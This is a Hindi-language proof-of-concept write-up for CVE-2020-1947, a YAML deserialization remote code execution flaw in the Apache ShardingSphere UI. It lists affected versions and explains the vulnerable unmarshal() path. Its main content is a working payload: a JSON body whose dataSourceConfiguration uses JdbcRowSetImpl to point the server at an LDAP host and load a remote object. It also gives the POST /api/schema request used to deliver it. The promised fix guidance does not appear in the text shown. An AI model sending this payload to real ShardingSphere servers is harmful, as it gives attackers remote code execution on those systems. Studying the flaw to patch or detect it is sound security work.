
CVE-2020-1947 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और विश्लेषण, Apache ShardingSphere UI में YAML डिसेरिएलाइज़ेशन रिमोट कोड निष्पादन भेद्यता, पुनरुत्पादन चरणों और फिक्स मार्गदर्शन सहित।
shardingsphere अपाचे का एक ओपन-सोर्स इकोसिस्टम है, जो वितरित डेटाबेस मिडलवेयर समाधानों का एक सेट है। यह तीन स्वतंत्र फ्रेमवर्कों से बना है: sharding-jdbc, sharding-proxy, और sharding-sidecar, जो डेटा शार्डिंग, वितरित लेन-देन और डेटाबेस प्रबंधन प्रदान करने के लिए उपयोग किए जाते हैं।
ShardingSphere 4.0.0-RC3, 4.0.0 sharding-jdbc, sharding-proxy, sharding-ui जैसे घटक
Apache-shardingsphere-incubating-4.0.0
java version "1.8.0_231"
Java(TM) SE Runtime Environment (build 1.8.0_231-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.231-b11, mixed mode
shardingsphere का वेब कंसोल डेटा स्रोत कॉन्फ़िगरेशन लोड करने के लिए yaml इनपुट को पार्स करने हेतु snakeyaml लाइब्रेरी का उपयोग करता है। snakeyaml बिना सत्यापन के ही unmarshal की अनुमति देता है, जिससे पार्सिंग और डिसीरियलाइज़ेशन हो सकता है।
unmarshal() सीधे सामग्री को yaml.snakeyaml के load() में पार्स करने के लिए भेजता है।
इस समय, यदि unmarshal में एक दुर्भावनापूर्ण yaml सीरियलाइज़्ड सामग्री भेजी जाती है, तो RCE हो सकता है।
git clone https://github.com/HexChristmas/CVE-2020-1947
cd CVE-2020-1947
docker-compose.yml
Poc
{"name":"CVE-2020-1947","ruleConfiguration":" encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/CommandObject\n autoCommit: true"}
Request
POST /api/schema HTTP/1.1
Host: 10.10.20.166:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8